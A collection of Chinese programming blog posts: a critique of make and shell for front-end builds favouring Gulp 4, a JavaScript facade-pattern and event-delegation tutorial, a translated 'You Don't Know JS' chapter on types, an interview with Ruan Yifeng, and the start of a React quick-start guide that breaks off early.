举一个最简单的例子：无参数的make命令，执行Makefile定义的第一个任务。这就是一个非常不好的语法。这造成了我们修改Makefile时必须自行记忆：“任务是否排在首位是不一样的”。


而这一点在大多数语言中都不存在——例如类的方法写成什么顺序都可以。在grunt和gulp构建系统中，也都使用default任务，明确规定无参时默认（default）的行为。符合语义，无需额外思考（Don't make me think）。


就连Python这样的通用语言，都把用__name__魔术变量标明主流程，作为编写脚本的一种建议实践：


def fun1(): pass
def fun2(): pass
if __name__ == "__main__": fun1(); fun2()



实在的意义，就应当用实在的语法写清楚，这没有任何可以退让的余地。隐喻胜过明确，这是make脱不了的原罪。


丑陋的“workaround”（临时手段）


这里说的例子是那个.PHONY伪文件。



  make仅能处理实在的文件依赖文件的关系。但实际构建中，难免出现抽象、不含实体文件的任务，例如clean——人人需要，但不产出实在文件。这时就要把任务表述成文件，然后用.PHONY参数告知make哪些文件是假的。




用伪文件，把“任务”替代成“文件”，存在两点明显的问题：



	“任务”与“文件”的命名空间直接产生冲突。

任务占用的名称，就必须人工注意实在文件不能再用，否则必然产生麻烦。

	增删任务时，必须人工注意维护.PHONY列表。

如果忘了把任务补到.PHONY中，构建过程就会产生无谓的空文件。空文件本身还不可怕，可怕的是如果没有及时发现，就会造成一次构建之后不能再次构建，白白消耗调试时间。



而对于任何其他构建方法来说，都根本不存在这个问题。所有其他构建系统像看怪物一样，用诡异的眼神鄙视着make。


make提出了伪文件这个东西，并且还在手册中建议了“伪文件充当任务名”的用法，我相信make的开发者当初一定注意到了这个需求。但是任务（流程逻辑）和文件（内容存储）毕竟是相关却不同的两件事，分开管理才是必然的选择。


我不清楚make的开发者是没有想到这一点，还是自认为“借用过来‘文件依赖文件’的已有模型更加‘简洁’”。但结果上看，这个模型的错误是本质性且不可修正的。这个实现懒惰、简陋而不是所谓的“简洁”，最后的结果也是后患大于收益。


再举一个例子例子：UNIX声称“万物皆文件”，到头来还不是为了不同设备的逻辑，而保留了“块文件”、“socket文件”之类的区别？


要替代就替代的聪明一些，把实在、重要的本质逻辑保留住。合理、明确，不回避客观区别的替代，和一时拼凑的“workaround”（临时手段）是两回事。后者一时使用尚可，但绝不应充当作为软件基础的“万灵药”。


Makefile：介于语言和配置之间的“四不像”


考试：请仅用Makefile语法（不依赖shell特性）写一个if/elseif/endif试试？


如果要用某种形式描述一个构建过程，其实：



	可以表示成纯粹的配置文件。不可独立运行，不含任何实质的代码，但绝对便于编写、修改。

	可以表述成真正的程序代码。绝对灵活，所有语言特性随便用。

	但一般都代码和配置文件联合使用，兼取两者之长。（即使是纯代码，其实数据和执行逻辑也会有一定的分离，而不是混在一起搞成“意大利面式编程”）



审查Makefile的本质设计，其实是一种描述依赖关系的配置文件，描述了“文件依赖文件”和“文件依赖shell代码”两种关联。但偏偏Makefile也同时提供简单的流程控制、赋值等语句，使得Makefile也是一种可以控制流程走向的程序代码。


所以Makefile偏偏落在了配置和代码两者之间，既不是倒向一端，也不是两者的联合，最后形成了一个“四不像”的混合品。作为配置文件写起来太费神，作为程序代码又太简陋不够用。


我想问：就从Makefile的设计上来看，那个被奉为圭臬（事实上也确实很优秀）的“UNIX哲学”在哪里？在哪里？


shell：躲不开的雷区


符号胜于语义


shell使用各种符号来表达语义，难读难写。也就比那个正则表达式简单点不多。


以下两段构建脚本，你愿意读、写或改哪一个？


lib_bundle := build/lib.min.js
libraries  := node_modules/jquery/dist/jquery.js \
              node_modules/underscore/underscore.js \
$(lib_bundle): $(libraries)
    uglifyjs -cmo $@ $^
    # What the heck does "c m o @ ^ $" means ???



var gulp = require('gulp');
var concat = require('gulp-concat');
var uglify = require('gulp-uglify');

gulp.task('lib:bundle', function () {
  return gulp.src(['node_modules/jquery/dist/jquery.js',
      'node_modules/underscore/underscore.js'])
    .pipe(uglify())
    .pipe(concat('lib.min.js'))
    .pipe(gulp.dest('build/'));
});



运行环境的高依赖


shell是一个严重依赖系统环境的工具。一个make能够正确调用shell脚本，一般都需要：



	系统内有GNU工具链

	工具链的详细用法（参数意义等），不能与编写者产生严重的冲突，甚至不能进行造成deprecated（弃用）的升级

	PATH等基本的环境变量正确

	但其他的环境变量还不能与Makefile中用到的变量冲突



更可怕的是以上这些要素，基本上都是隐喻性的。没有明确的版本控制手段去保证不说，甚至连确认都是不现实的。以前能用的脚本可能换个发行版、升级个系统，甚至于换个用户就可能会发生问题。


我们既然已经有了npm版本控制，更何况shell构建本质上也是调用基于node的工具，那我们为什么还要去踩shell缺乏版本控制这个坑？


shell调用js的性能问题


shell调用js，每一个命令都需要启动/停止node进程，并且各个工具是顺序执行的。


而node构建工具，只需要使用同一个node进程，并且各个工具可以异步启停、并行运行。


这个效率区别是不需要具体比较的。


总结


“shell自动化”——邪道之路


从历史上来看，shell本来就是为了方便人类执行命令的小工具。而后人类发现了自动执行命令的便利性，从而将shell扩展成为一门轻量的脚本语言，这个发展历程是可以理解的。


其实简短的shell脚本也可以大大方便人类的工作，是个好用的工具。可是一旦shell脚本庞大起来，shell不适合自动化运行和大型程序管理的各种硬伤就开始暴露：



	提倡使用特殊符号，过于强调语法简短（首要问题）。

这一点对于人类操作shell是优势，谁都想在命令行下少打几个字。

但如果用于长时间编写、快速运行、长期维护的正式项目，shell的这个特点就会立刻表现为难读、难写、难改的短板。

	缺少大型项目所需的版本管理、面向对象等特性

	语言功能不足，例如缺乏最基本的数值计算

	语言特性诡异，例如bash大多数情况下对空白字符不敏感，可偏偏变量赋值的等号两边不准加空格

	shell这一层太薄，过于依赖命令行工具链，甚至一些很基本的任务shell层都不能自行消化，例如[。

	命令行工具的提示都是为人类阅读而设计的，不适合机器解读与程序间交互



shell从本质上，是方便人类手打命令的终端软件，而不是可靠的自动化工具。本质如此，将来就会一直如此。shell就是shell，也一直只会是shell，不应当赋予其过深的责任和负担。


除非①没有更好的选择②工作实在太少太简单，否则永远不要在正式项目中依赖shell自动化。


不要被“技艺高超”的假象迷惑！


必须承认：shell与make工具有不少“坑”，但一旦调试良好，它们确实能够稳定运行。并且工程师们经常会产生这种心态：解决的问题越难，填平的“坑”越多，最后成功时的成就感就越强。


这是一个思维陷阱。这个陷阱中用过程的复杂度替代了需求的复杂度，从而容易让人错误的评判和看待自己的工作。


可工程毕竟不是智力题。实际需求才是唯一的，只有需求本身的复杂度才需要尊重。代码只不过是完成任务的一种副产品。代码量越少越好，代码引入的额外复杂度越低越好，代码维护起来越容易越好。至于代码本身解决了多少难题，适配了其他工具多少的“坑”，一般都不值一提。


做黑客自有做黑客的合适场景，就如同业余时间做点智力题其实是个不错的爱好。但实际工程环境下，请老老实实做工程师，使用简单的工具解决同等的问题，不要炫技。


我的推荐


请使用npm的构建工具。我推荐目前（成文时）仍处于测试状态的Gulp 4。


Gulp 4最赞赏的地方是引入了简洁明确的语法，规定命令之间的串并行关系。从此可以把任意形状的加权森林（权值代表执行顺序）简单地表示成Gulp的代码：





gulp.task('default', gulp.series('clean', 'build', 'deploy'))
gulp.task('clean', gulp.parallel('clean:a', 'clean:b'))
gulp.task('build', gulp.parallel('less', 'uglify'))
gulp.task('deploy', gulp.series('revision', 'copy'))



Gulp 4入门请通读《Gulp 4.0 前瞻》这篇文章，以及Gulp 4源代码目录中的所有recipes（参考代码），非常容易。


Gulp也有Gulp、Node和JavaScript的麻烦（例如并行代码的编写不良一般不会报错），但起码在Web构建这个环境下，比shell值得拥有。


如果你真的需要一些命令行的工具，那也应该舍弃shell这一层，在js、python等正常语言环境下调用它们。命令行工具是不需要shell的，启动子进程并且传递argc、argv的参数才是本质。





  原创发表在 SegmentFault.com 博客，转载请遵守 SegmentFault 相关规定（见页脚），作者为沙渺 sha@miao.im。




 听飞狐聊JavaScript设计模式系列08

作者：飞狐
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本回内容介绍

上一回聊到工厂模式，略抽象。
介一回，咱聊门面模式就比较容易了，门面模式也叫外观模式(facade)。
官方说法，门面模式是指提供一个统一的接口去访问多个子系统的多个不同的接口，为子系统中的一组接口提供一个统一的高层接口。使得子系统更容易使用。
说白了，就是解耦类的接口。初次听到这词儿的童鞋看到代码后估计会有亲切感，开始咯：

1. 门面模式

随便想个玩意儿吧，比如一个考勤系统，一个哥们儿上班打卡，就简单模拟实现下，敲代码咯：

// 定义一个接口，还记得吧，不记得就看第五回
var PersonInterface = new Interface("PersonInterface",["getInfo"]);

// 这里简单点，就定义一个人的类
var Person = function(name){
    this.name = name;
    this.getInfo = function(){
        return "名字:"+this.name;
    }

    // 验证实现接口
    Interface.ensureImplements(this,PersonInterface);
}

// 定义考勤系统接口
var AttendSystemInterface = new Interface("attendSystemInterface",["records"]);
// 考勤系统
var AttendSystem = function(){
    this.attendTime = new Date().toLocaleString();
    this.records = function(){
        return "签到时间:"+this.attendTime;
    }
    // 验证实现接口
    Interface.ensureImplements(this,AttendSystemInterface);
}


// 这里就是个简单的门面客户端，怎么实现都在这完成
function facade(person,attendSystem){
    var res = person.getInfo()+"------"+attendSystem.records();
    alert(res);
}

// 简单的测试一下
var fox = new Person("飞狐");
var as = new AttendSystem();
facade(fox,as);    //名字:飞狐------签到时间:2015/11/18 下午18:08:08 

这就是简单门面模式的模拟了，比较好理解，很多网上的资料都用JS的DOM2事件例子来讲的门面模式，走走过场来一个好了，看下一个例子，走你...

2. 门面模式之DOM2事件

在DOM2级事件中的两个方法（注：W3C，IE8及之前的浏览器不支持）：
addEventListener(),removeEventListener()
所有DOM 节点中都包含这两个方法，并且都接受3个参数：事件名，函数，冒泡或捕获的布尔值（true 表示捕获，false 表示冒泡）；
在IE中实现了类似的方法：attachEvent() 和 detachEvent()，这两个方法接受相同的参数：事件名称和函数。

var EventUtil = {
    // 添加事件
    addHandler: function(el,type,fn){
        if(el.addEventListener){
            // W3C
            el.addEventListener(type,fn,false);
        }else if(el.attachEvent){
            // IE
            el.attachEvent("on"+type,fn);
        }else{
            el["on"+type] = fn;
        }
    },
    // 移除事件
    removeHandler: function(el,type,fn){
        if(el.removeEventListener){
            // W3C
            el.removeEventListener(type,fn,false);
        }else if(el.detachEvent){
            // IE
            el.detachEvent("on"+type,fn);
        }else{
            el["on"+type] = fn;
        }
    },
    /*
     * 获取事件，这里注意一下IE方式( window.event )获取事件对象，
     * 但是在Firefox中会报错，提示：window.event is undefined，
     * 说明Firefox不支持IE方式获取事件对象而是以句柄的第一个参数传入的
     */ 
    getEvent:function(event){
        return event?event:window.event;
    },
    /*
     * 获取事件作用的元素
     * IE:有srcElement属性，没有target属性。
     * firefox:有target属性，没有srcElement属性。
     */ 
    getTarget:function(event){
        return event.target||event.srcElement;
    },
    // 取消事件的默认动作
    preventDefault:function(event){
        if(event.preventDefault){
            event.preventDefault();
        }else{    // IE阻止默认行为
            event.returnValue = false;
        }
    },
    // 取消冒泡
    stopPropagation:function(event){
        // W3C的取消冒泡
        if(event.stopPropagation){
            event.stopPropagation();
        }else{    // IE的取消冒泡
            event.cancelBubble = true;
        }
    }

};

document.write("<button id='btn'>给飞狐点个赞</button>");
var btn = document.getElementById("btn");
EventUtil.addHandler(btn,"click",function(){
    alert("Are you ok!");
}); 

这个例子特简单吧，是否有似曾相识的感觉，是的，这是模拟高程3上事件的例子，这里对事件封装得很简单，而在IE中还有这几个区别：
IE 不支持捕获，只支持冒泡；
IE 添加事件不能屏蔽重复的函数；
IE 中的 this 指向的是 window 而不是 DOM 对象；
IE 无法接受 event 对象，但使用了 attachEvent()却可以，只是有区别；
我们这里只是聊门面模式，简单的模拟，JS的事件系统有很多可以细细品味的地方，以后聊到ExtJS事件系统源码的时候还会详细的刨根问底，好像又扯多了...


又到装逼时候了。双11的价格挺诱人吧，我是没忍住买了一个本本，尼玛同款电脑，天猫比京东便宜860块吖~~

这一回聊的内容少，难度很小，比较好理解。
下面的内容很简单，聊一下JS的事件委托...



JS事件委托

高程3上对事件委托的描述是，事件委托利用了事件冒泡，只指定一个事件处理程序，就可以管理某一类型的所有事件。接着刚刚封装的事件例子，继续写：

<ul id="ul">
  <li>飞狐</li>
  <li>帅狐</li>
  <li>飞狐就是帅</li>
</ul>

// 获取id
function $(id){
    return document.getElementById(id);
}
var oUl = $('ul');
var oLi = oUl.getElementsByTagName("li");

// 不用事件委托，就得循环每个子li，分别绑定事件
for(var i=0,len=oLi.length;i<len;i++){
    // 添加事件
    EventUtil.addHandler(oLi[i],'click',function(e){
        // 获取事件
        e = EventUtil.getEvent(e);
        // 获取事件作用的元素
        var tag = EventUtil.getTarget(e);
        alert(tag.innerHTML);
    })
}

// 用事件委托来写，只需要在Ul上添加一个事件
EventUtil.addHandler(oUl,'click',function(e){
    e = EventUtil.getEvent(e);
    var tag = EventUtil.getTarget(e);
    alert(tag.innerHTML);
})

这个是拿书上的例子来改的，目的是为了让大家更方便的理解，可以看出事件委托占用内存少，读取速度快，性能更高。

这一回，主要聊了门面模式，DOM2级事件，事件委托，难度比较小~~
下一回，聊聊代理模式，也比较简单。



客观看完点个赞，推荐推荐呗，嘿嘿~~



注：此系飞狐原创，转载请注明出处
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译者的前言

一直都想好好研究这个在 GitHub 上很有名气的系列，而翻译恰是最好的阅读途径之一。可以让我阅读的时候，不那么不求甚解。

图灵社区出版了该系列两部分的中文版——《作用域和闭包》以及《this和对象原型》，我就打算从《类型和语法》这本开始做起。

同时，我对本书的翻译进度会在 GitHub 上同步，希望能有更多的同行参与进来，将更多的干货贡献社区。


	翻译 GitHub 仓库地址：https://github.com/StarStudio/You-Dont-Know-JS


	原著：https://github.com/getify/You-Dont-Know-JS




PS：最近对于翻译英文原版系列很有兴趣，如果有好的干货英文文章（且大家信得过我的水平），可以放在评论区，有时间我一定会翻译！

第一章：类型

大多数开发人员认为，动态语言（如 JavaScript）并没有类型。让我们来看看 ES5.1 的 规范 对于这部分内容是怎么说的：


本规范中所有算法所操作的值都有一个类型与之对应。这些值的类型均在本规范中对应。当然，这些类型也可能是 ECMAScript 语言中规定的类型的子类型。

在 ECMAScript 语言中，每个 ECMAScript 类型所对应的值都被 ECMAScript 程序开发人员直接操作。ECMAScript 语言中规定的类型为 Undefined, Null, Boolean, String, Number 以及Object。



如果你是强类型语言（静态语言）的粉丝，你也许会对这样使用“类型”感到很反感。在那些语言里，“类型”所拥有的含义可比在 JS 里的多得多。

有人说 JS 不应该声称它有“类型，应该把这种东西称为“标签”，或是“子类型”。

好吧。我们将使用这一粗略的定义（类似于规范中所描述的）：一个类型是一个固有的，内建的特征集，无论是编译引擎还是开发人员，都可以用它来确定一个值的行为，并把这个值和其他值加以区分。

简单来说，如果在编译引擎和开发人员眼里，值 42（数字）和值 "42"（字符串）处理的方法不同，那么我们就说他们有不同的类型—— number 和 string。当你处理 42 时，你将使用一些处理数字的方法，比如数学运算。而当你处理 "42" 时，你则会使用一些字符串处理方法，比如输出到页面，等等。这两个值有不同的类型。

虽然这并不是什么严谨的定义，但对于我们接下来的讨论，已经绰绰有余了。而且这样的定义，和JS如何形容自己是一致的。

类型——或是别的什么

不考虑学术上的争论，我们来想想为什么 JavaScript 会需要类型？

对于每种类型及其基本行为都有所了解，有助于更高效的将值进行类型转换（详见第四章，类型转换）。几乎所有的JS程序，都存在着这样那样的类型转换，所以了解这些，对你来说很重要。

如果你有一个值为 42 的 number，但想对它进行 string 类型的操作，如移除 1 位置的字符 "2"，你最好先将这个值的类型从 number 转换为 string。

这看似很简单。

但是进行这样的类型转换，有很多方式。有些方式很明确，很简单就能说出来龙去脉，并且也值得信赖.但如果你不够细心，类型转换可能以一种匪夷所思的方式展现在你面前。

类型转换可能是 JavaScript 最大的疑惑之一了。这点经常被视为这一语言的缺陷，是应该避免使用的。

由于有了对 JavaScript 类型的全面了解，我们希望能够说明为何类型转换的坏名声言过其实，甚至是不恰当的——我们会改变你的传统观点，让你看到类型转换的强大力量和实用性。不过首先，我们先来了解一下值和类型。

内建类型

JavaScript 定义了七种内建类型：


	null


	undefined


	boolean


	number


	string


	object


	symbol —— ES6 中新增




提示：以上类型，除 object 的被称为基本类型。

typeof 运算符会检测所给值得类型，并返回以下其中字符串类型的值——然而奇怪的是，返回的结果和我们刚刚列出的的内建类型并不一一对应。

typeof undefined     === "undefined"; // true
typeof true          === "boolean";   // true
typeof 42            === "number";    // true
typeof "42"          === "string";    // true
typeof { life: 42 }  === "object";    // true

// ES6新增！
typeof Symbol()      === "symbol";    // true

列出的六种类型的值都会返回一个对应类型名称的字符串。Symbol 是 ES6 中新增的数据类型，我们会在第三章详细介绍。

你也许注意到了，我将 null 从列表中除去了。因为他很特殊——当使用 typeof 运算符时，它表现的就像 bug 一样：

typeof null === "object"; // true

如果它返回的是 "null" 的话，那可真是件好事，可惜的是，这个 bug 已经存在了 20 年，而且由于有太多的 web 程序依赖这一 bug 运行，修复这一 bug 的话，将会创造更多的 bug，并且使很多 web 应用无法运行，所以估计将来也不会修复。

如果你想要确定一个 null 类型的值是这一类型，你需要使用复合判定：

var a = null;

(!a && typeof a === "object"); // true

null 是基本类型中唯一值表现的像 false 一样的类型（详见第四章），但如果运行 typeof 进行检查，返回的还是 "object"。

那么，typeof 返回的第七种字符串类型的值是什么？

typeof function a(){ /* .. */ } === "function"; // true

单拍脑袋想的话，很容易理解 function（函数）会是 JS 中顶级的内建类型，尤其是它针对 typeof 运算符的表现。然而，如果你阅读相关的标准，会发现它实际上是对象类型（object）的子类型。更确切的说，函数是一种“可以被调用的对象”——一类拥有名为 [[Call]] 的内建属性且可以被调用的对象。

函数实际上是对象这点其实很有用。最重要的一点就是，它可以有属性。例如：

function a(b,c) {
    /* .. */
}

该函数具有一个 length 属性，值为函数形式参数的个数。

a.length; // 2

本例中，函数声明中包括两个形参（b 和 c），所以“函数的长度”是 2。

那么数组呢？他们也是 JS 内置的类型，会不会有什么特殊的表现？

typeof [1,2,3] === "object"; // true

然而并没有，只是普通的对象罢了。一般将它们也视为对象的“子类型”（详见第三章），与普通对象不同的是，它们可以通过数字来序列化（就像普通对象那样可以通过字符串类型的 key（键）来序列化一样），并且操作有可以自动更新的 length 属性。

值和类型

在 JavaScript 中，变量不具有类型——值有类型。变量可以在任何时刻保存任何值。

换句话说，JS 并不是强类型的语言，编译引擎不会让一个变量始终保存和这个变量最开始所保存的值拥有相同的类型。变量可以保存一个 string 类型的值，并在接下来的赋值操作中保存一个number类型，以此类推。

一个值如 42 是 number 类型的，而且这个类型是不能改变的。另一个值，如 "42" 是 string 类型，可以通过对 number 类型的 42 进行类型转换（详见第四章）来得到。

如果你用 typeof 运算符去操作一个变量，看上去就像是在求“变量是什么类型？”，然而 JS 中的变量并不具有类型。所以，其实是在求“变量中保存的值是什么类型？”。

var a = 42;
typeof a; // "number"

a = true;
typeof a; // "boolean"

typeof 运算符返回的必然是字符串类型：

typeof typeof 42; // "string"

其中typeof 42会返回"number"，然后typeof "number"就会返回"string"。


undefined vs "undeclared"（未定义和未声明）

当变量没有被赋值的时候，其值为 undefined。调用 typeof 运算符对它进行操作会返回 "undefined"：

var a;

typeof a; // "undefined"

var b = 42;
var c;

// 然后另
b = c;

typeof b; // "undefined"
typeof c; // "undefined"

对于许多开发者都认为“未定义（undefined）”相当于是“未声明”的代名词，然而在 JS 中，这两个概念截然不同。

一个“未定义（undefined）”的变量是已经在当前作用域中声明了的，只不过是目前它并没有保存其他的值而已。而“未声明（undeclared）”则是指在当前作用域中没有声明的变量。

考虑如下的示例：

var a;

a; // undefined
b; // ReferenceError: b is not defined（错误的中文大意是：引用错误：b 尚未定义）

浏览器对于这一错误的描述可以说相当让人困惑。“b 尚未定义”很容易让人理解成“b 是未定义”。然后，“未定义”和“尚未定义”间的差别实在是太大了。如果浏览器要是能报个像“未找到变量 b”或是“b 尚未声明”之类的错误，就不会这么让人迷糊了。

同样的，typeof 运算符的特殊行为加重了这一困惑，请看例子：

var a;

typeof a; // "undefined"

typeof b; // "undefined"

对于“未声明”或着说“尚未定义”的变量，typeof 会返回 "undefined"。你会发现，虽然 b 是一个没有声明的变量，但是当我们执行 typeof b 的时候却没有报错。会出现这种情况，源于 typeof 运算符特殊的安全机制。

和前面的例子一样，如果对于没有声明的变量，typeof 会返回一个“未声明”之类的东西，而不是将其和“undefined”混为一谈的话，就不会有这么多麻烦了。


typeof 对处理未声明的处理

然而，在浏览器端这种，多个脚本文件均可以在全局命名空间下加载变量的 JavaScript 环境中，这种安全机制反而很有用。

提示：许多开发者坚信，在全局命名空间下不应该有任何变量，所有的东西都应该在模块或者是私有/分离的命名空间中。理论上，这很棒，而且确实是我们追求的一个目标，然而在实践中，这几乎是不可能的。不过 ES6 中加入了对模块的支持，这使得我们能够更接近这一目标。

例如，在你的程序中，你通过一个全局变量 DEBUG 实现了一个调试模式。你希望在开始进行 debug，如在控制台输出一条调试信息之前，检查这个变量是否已经声明。你可以将全局的 var DEBUG = true 声明写在一个名为"debug.js"的文件夹下，当你在进行开发/测试下才在浏览器中引入，而不是在生产环境。

而你需要注意的，就是如何去在你的其他代码中检查这个全局的 DEBUG 变量，毕竟你可不希望报一个 ReferenceError。在这种场景下，typeof 运算符就成了我们的好帮手。

// 注意，这种方法会报错！
if (DEBUG) {
    console.log( "Debugging is starting" );
}

// 更为安全的检查方式
if (typeof DEBUG !== "undefined") {
    console.log( "Debugging is starting" );
}

这类检查不仅对于用户定义的变量很有用，当你在见此一个内建的 API 的时候，这种不会抛出错误的检查也非常棒：

if (typeof atob === "undefined") {
    atob = function() { /*..*/ };
}

提示：当你在对一个目前不存在的特性写“polyfill（腻子脚本）”的时候，你需要避免用 var 来声明变量 atob。如果你在 if 语句里面使用 var atob 来声明，即使 if 语句的条件不满足，变量的声明也会被提升到作用域的最顶级（详见本系列中的《作用域和闭包》）。在部分浏览器中，对一些特殊的全局的内建对象类型（常称为“宿主对象”，如浏览器中的 DOM 对象），这种重复的声明会报错。所以最好避免使用 var 来阻止变量提升。

另一种不使用 typeof 安全机制，进行检查的方法，就是利用所有的全局变量都是（global）全局对象（在浏览器中就是 window 对象）这一点。所以，上面的检查还有如下等价的写法（同样很安全）：

if (window.DEBUG) {
    // ..
}

if (!window.atob) {
    // ..
}

和引用一个未声明的变量不同，当你尝试获取一个对象（即便是 window 对象）不存在的属性的时候，并不会抛出什么 ReferenceError。

而另一方面，一些开发者极力避免使用 window 对象来引用全局变量，尤其是当你的代码运行在多种 JS 环境（不光是浏览器，比如服务端的 node.js）时，全局（global）对象可不一定叫 window。

即便当你不使用全局变量的时候，typeof 的安全机制也有它的用武之地，虽然这种情况很少见，也有一些开发人员认为这种设计并不值得。比如你准备写一个可供他人复制粘贴的通用函数，想要知道程序中是否定义了某一特定的变量（将会影响你函数的执行），你可以这样：

function doSomethingCool() {
    var helper =
        (typeof FeatureXYZ !== "undefined") ?
        FeatureXYZ :
        function() { /*.. 默认值 ..*/ };

    var val = helper();
    // ..
}

doSomethingCool() 会检查是否存在一个名为 FeatureXYZ 的变量，有的话就使用，没有的话，就使用默认值。现在，如果有人在他的程序/模块中使用了这一公共函数，检查它们是否定义了 FeatureXYZ 就显得尤为重要：

// IIFE （详见本系列《作用域和闭包》一书中的立即执行函数表达式）
(function(){
    function FeatureXYZ() { /*.. my XYZ feature ..*/ }

    // include `doSomethingCool(..)`
    function doSomethingCool() {
        var helper =
            (typeof FeatureXYZ !== "undefined") ?
            FeatureXYZ :
            function() { /*.. default feature ..*/ };

        var val = helper();
        // ..
    }

    doSomethingCool();
})();

在这里，FeatureXYZ 并不是一个全局变量，但我们仍然使用 typeof 运算符的安全机制来检查。注意到，在这种情况下，我们可没有全局对象用于这一检查（像使用 window.___ 那样），所以 typeof 真的很有帮助。

有些开发者可能会喜欢一种叫做“依赖注入”的设计模式，让 doSomethingCool() 不去检查 FeatureXYZ 是否在它外部/附近被定义，而是通过显示的判断来确定，如：

function doSomethingCool(FeatureXYZ) {
    var helper = FeatureXYZ ||
        function() { /*.. 默认值 ..*/ };

    var val = helper();
    // ..
}

要实现这一功能，其实有很多解决方案。没有一种模式是“对的”或“错的”——要对各种方法进行权衡。不过总的来说，typeof 的安全机制确实给了我们更多的选择。

总结

JavaScript 拥有七种内建类型：null，undefined，boolean，number，string，object，symbol。可以通过使用 typeof 运算符来对它们进行区分。

变量不具有类型，但值有。这些类型定义了值的行为。

许多开发者会将“未定义（undefined）”和“未声明”混为一谈，但是在 JavaScript 它们完全不同。undefined是一个可供已经声明的变量保存的值。“未声明”意味着一个未经声明的变量。

不幸的是，JavaScript 中很多地方都将两者混为一谈，比如错误信息（"ReferenceError: a is not defined"），以及用 typeof 操作，两者都返回 "undefined"。

不过，typeof 这种安全机制（阻止报错）在某些场景中，如需要检查一个变量是否存在的时候还是很有用的。
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维克多•雨果曾说过：“未来将属于两种人：思想的人和劳动的人。”对各种事物都有着深刻好奇心和善于考据的思维方式的阮一峰，无疑是一个思想的人，一位对一切美好事物及感情充满向往的真正意义上的知识分子。阮一峰广泛涉猎，善于思考，勤于总结，并且乐于分享：他将自己从一本书、一部电影或者一段经历中所得的感受和思考，都发表在了2003年开通的博客上。累积至今的1500余篇博文，书写了各种庞杂的知识，理性且不乏人文关怀，试图以个人单薄的力量向社会传达一种向善的理想，希望通过这些文章来告诉大家如何做一个独立思考者。





问：请介绍一下自己。


我上个世纪70年代生于上海，大学专业是经济学。工作了几年，又去读了世界经济的研究生，毕业后，在上海一所本地高校当了老师，教财经类的课程。最近，去了支付宝的前端团队，在@玉伯负责的“体验技术部”工作，目前主要从事JavaScript和Node.js的开发。


我翻译了《软件随想录》和《黑客与画家》，出版了技术专著《ECMAScript 6入门》和博客文集《如何变得有思想》。


问：你是怎么接触到互联网的？


2000年前后，我第一次上网，一下子就着迷了。那时候，只有图书馆的机房能上网，除了吃饭，我从早上8点开馆一直待到晚上10点闭馆，只做三件事：在化云坊fanso.com听歌，在chinaren.com下棋，在水木清华BBS灌水。


问：你是怎么开始学习计算机的？


我对计算机一直有兴趣，但从没想过去编程。因为我是文科生，学校里只教Word和Excel，对计算机没概念。大学快毕业了，为了打游戏和上网，才买了第一台个人电脑，CPU是奔腾133MHz。研究生时，我想考计算机二级C语言，买了指定教材，但发现完全看不懂。


那个时候是互联网泡沫，很容易申请免费的个人主页空间。我在网易（yeah.net）和亿唐（etang.com）申请了个人主页，从此开始接触到网页制作。中国青年出版社引进的台湾“旗标计算机丛书”，对我帮助很大。那套书图文并茂，通俗易懂，我从那里学会了最简单的HTML语言。


问：你后来怎么学会编程？


学了HTML以后，发现网页要做得漂亮，必须懂CSS。学了CSS以后，发现制作动态网页，必须懂一门计算机语言，就去学了asp。很快发现，asp不如php功能强，就去学了php和数据库MYSQL。用了开源数据库，就离不开了Linux系统了。这个时候，又重新去学C语言，这一次学会了。


问：你是怎么开始写博客的？


2003年以前，我制作网页都是使用微软的FrontPage ，需要一张张地制作，非常麻烦。后来听说博客软件可以动态生成网页、更换样式、站内搜索，就很动心。


我最早使用的博客软件是asp语言写的，忘了叫什么名字。2003年底，我看到了王建硕的博客，非常震惊，原来博客可以玩得这么精彩。他用的软件是MovableType，我照他的样子搭建了一个，一直用到现在。遗憾的是，王建硕已经换成WordPress了，MovableType也停止更新了，国内还用这个软件的人屈指可数。互联网时代就是这样，一切变得太快了，我觉得自己是个怀旧的人。


问：你的博客是怎么出名的？


我其实不知道，一开始我只把博客当作私人园地，并没有想到有人会来看。但是，不知道是否错觉，Google对于MovableType生成的网页，会给很高的权重。我的很多文章排在Google的第一页，很多人这样发现了我的博客。


我的文风可能也有点帮助。我喜欢用口语，喜欢用短句，别人比较容易看懂。另外，比我水平更高、写得更好的人，很多都放弃写博客了，只有我还在写。所以，我的体会是，如果你认认真真写，认认真真排版，保证别人可以看懂，还时不时插入一些漂亮的插图，或者一段趣闻轶事，你坚持这么做，就可以出名。


问：你的博客早期都是谈文学的，怎么会转变为一个技术博客？


大学里，我喜欢读小说和传记，曾经以为社会科学是自己一辈子的专业方向。后来发现，在中国搞社会科学没前途，除非愿意给政策背书。那时，我还喜欢写社会和政治评论，每次都有一大堆互相争吵、人身攻击的留言，无法得到任何结论。我还接到过有关部门的电话，要求删除文章。


最终，我觉得文学、政治学、经济学、社会学之类的学科，都没多大用处，就渐渐不想走这条路了。它们也不是真的没用，就是在中国不行，改变不了现实，只会让自己走入绝境。在我看来，走技术这条路至少有一个好处。我曾经在一篇文章里写过：“（在国内，）如果你想不撒谎、不干坏事、并且被公正地对待，那么可能你只能去编程了。”


问：很多人批评你的技术文章，错误非常多，你怎么看？


我一直是外行，从来不敢说自己是专家。对我来说，博客首先是一种知识管理工具，其次才是传播工具。我的技术文章，主要用来整理我还不懂的知识。我只写那些我还没有完全掌握的东西，那些我精通的东西，往往没有动力写。炫耀从来不是我的动机，好奇才是。


当然，我肯定只写那些我觉得对的东西，尽量对读者负责。但是没法保证，我觉得对的东西就是对的。网站流量越来越大，对我的争议也越来越多，好几次我都在文章前加上说明，这是初学者的笔记。我还会以这种方式写下去。我希望自己永远都能保持，那种不怕丢面子，敢于当众说蠢话的勇气。


问：你近期在忙什么？


最近一两年，我的关注重点都将是Node（io.js）。我觉得，Node很适合作为前后端之间的中间层。我希望用JavaScript、PostgreSQL、MongoDB、Nignx实现一个网站，会是一个开源项目。


如果有时间，我很希望能学一下Go语言，用它来写后端实现。我也很想学函数式编程，它带来了全新的思考方式，而且非常优雅。




更多精彩，加入图灵访谈微信！
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原文链接：The React Quick Start Guide



这篇文章将概括性的介绍一下如何用 ReactJS 进行开发。我将介绍一些基础知识，不会有过于深入的分析。你可以结合这些代码阅读本文。

一些概念

React 的 API 非常少，简单易懂易用。在正式开始之前先介绍几个概念，一个一个来。

React 元素 是表现为 HTML 元素的 JavaScript 对象，他们并不真实存在于浏览器中。他们最终表现为类似h1, div 或 section 之类的浏览器元素。

